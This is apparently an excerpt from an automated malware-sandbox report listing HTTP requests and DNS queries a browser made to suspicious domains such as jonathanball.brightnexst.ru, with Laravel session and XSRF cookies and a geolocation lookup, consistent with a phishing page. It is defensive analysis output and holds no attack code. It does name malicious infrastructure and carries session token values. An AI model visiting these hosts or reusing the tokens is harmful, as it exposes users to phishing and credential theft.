laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /ijYmAVfZSWHuzFZDqTfjAGUob2bMLToNsDh1jKWaKHhklOCkOcZtRNI77YnjCg5gS12201 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /qrLVibwrc9iWg9nErfv4VcKcQuvlnThBJKb5hIl1sTcCoriBZBAfknQNBNb8cd240 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /qrJwdR1NxSQXnL1OWwjVhdWEzkvaghVanTmGgjgvB67131 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /stFhtkB7TEKly1H3IQUoWNWNEgR63B68uEcYXepvF3AHX7GE67Gv0ceQWiQlcXnBCfG922mEt5PFV2czgh260 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ujJMp4UWprK216fgUSG9qses9SqIlMlOaylS7JH5r2tI9cq HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /stFhtkB7TEKly1H3IQUoWNWNEgR63B68uEcYXepvF3AHX7GE67Gv0ceQWiQlcXnBCfG922mEt5PFV2czgh260 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErsmkd0ON1U00I1tT12qTwuv40 HTTP/1.1Host: 3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /opJRxGc2xy8ooEdQ2exZsxyvxEPWhh7x1zr4uISuvBhfs3VacaHPGmUsJcd195 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /qrLVibwrc9iWg9nErfv4VcKcQuvlnThBJKb5hIl1sTcCoriBZBAfknQNBNb8cd240 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ijYmAVfZSWHuzFZDqTfjAGUob2bMLToNsDh1jKWaKHhklOCkOcZtRNI77YnjCg5gS12201 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRrVWl0dmV3NUEvc3BhaURrYzNBK3c9PSIsInZhbHVlIjoiUENoSUNrOXJtUDlOT29pbTRGVkFKejNubnV5L2pqY0J5ZlYvSlVMblJJa1FOQUgxbG9FL0wzTXdrRnFUa0dWSmV0OGxYbTZwWW5JdGpYbXpHRWRlVmlSeVJ3bUd5QkgyUDliNURiMjBOWCtPSk5YZU1WTjJLaGhaU0FZa3Fqbm8iLCJtYWMiOiIyZDZmZjlkMTI1MzI3OWZiNjhkZmNlYjNlODYxMTc3NTI2YTY5ZmU5MzVlYjAxMGJkZTY1OGVjZjBmMjg3MWRlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhiVEwwTVpLSlR3YW1Pc204RGVYQ2c9PSIsInZhbHVlIjoiVzFxTkhqMFR4R2VOV2NkcU5HL1JRcktBWXY1WnNmVXR4VUNUa2hRMmxlYlRRZ2ZjeHBGYnNqcDRPME9ZcUV2bytZT3UrcGNiallqOE5OUnp0UTJQSWgwd1ZQQkphRm1xRitEaTVOb2MvT2F0TW03OFpqaDcvNUFhdEJhTlFvRTciLCJtYWMiOiI3YmE2ZjkzYmY1ODdmMGMwZmU2ZmEwMGM3ZTliMjQzN2U0OTBiMGE3NWE1N2ZiMzU4ZGU5NjcwYWQ2ZGZmODQzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErspULfBJvvEFYdW6yznK9ybuv39 HTTP/1.1Host: 3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficDNS traffic detected: DNS query: ljn84jrqeg.woofradio.cfd
                  Source: global trafficDNS traffic detected: DNS query: jonathanball.brightnexst.ru
                  Source: global trafficDNS traffic detected: DNS query: www.google.com
                  Source: global trafficDNS traffic detected: DNS query: code.jquery.com
                  Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
